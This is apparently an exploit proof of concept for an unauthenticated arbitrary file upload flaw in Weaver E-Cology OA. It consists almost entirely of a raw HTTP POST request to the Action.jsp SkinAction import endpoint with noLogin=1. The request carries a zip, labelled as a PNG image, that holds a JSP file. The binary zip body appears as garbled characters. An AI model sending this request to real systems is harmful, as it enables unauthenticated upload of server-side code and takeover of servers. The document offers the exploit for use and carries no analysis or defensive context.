泛微OA E-Cology Action.jsp mobile.skin.SkinAction 任意文件上传漏洞

POST /mobilemode/Action.jsp?invoker=com.weaver.formmodel.mobile.skin.SkinAction&action=import&noLogin=1 HTTP/1.1
Host: 
Accept-Encoding: gzip
Connection: keep-alive
Content-Length: 898
Content-Type: multipart/form-data; boundary=--------1c4ab976651c8a18
Cookie: JSESSIONID=aaaXESw-8zhzlc-6bfm9y; ecology_JSessionid=aaaXESw-8zhzlc-6bfm9y
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/[REDACTED] Safari/537.36

----------1c4ab976651c8a18
Content-Disposition: form-data; name="file"; filename="ilarturu.zip"
Content-Type: image/png


PK�|xWimages/1.pngPK�|xW~�_.css+I-.
PK�|xW��r�
_.xmlM���0E�~���DA���L��ʸ(vB�������@ �ՙ����>�u^���T����u@];.T���X�݈.b�B�h�iq��^���
Ɓ_��~�K� Ȗ��b(�
0�Ns���&m�u�ɞ�o�4�^�K���
%�s��U|���B�Э��X3��r�����M�X�¼����PK�|xW�G����skin_images.jsp}��
�0D%
Y���V=
ފ��E�I�t����V/=�Ǚy3s�M��y���O��YL)����H���CyX��P��뉗@��
��IYh{a˸7G�it�8*öZ�j�6��FQE�\�(y�B�KșT�u��g�@;qI��~'��OoPK
�|xW�
images/1.pngPK
�|xW~��
,_.cssPK
�|xW��r�
�
U_.xmlPK
�|xW�G�����
.
skin_images.jspPK��

----------1c4ab976651c8a18--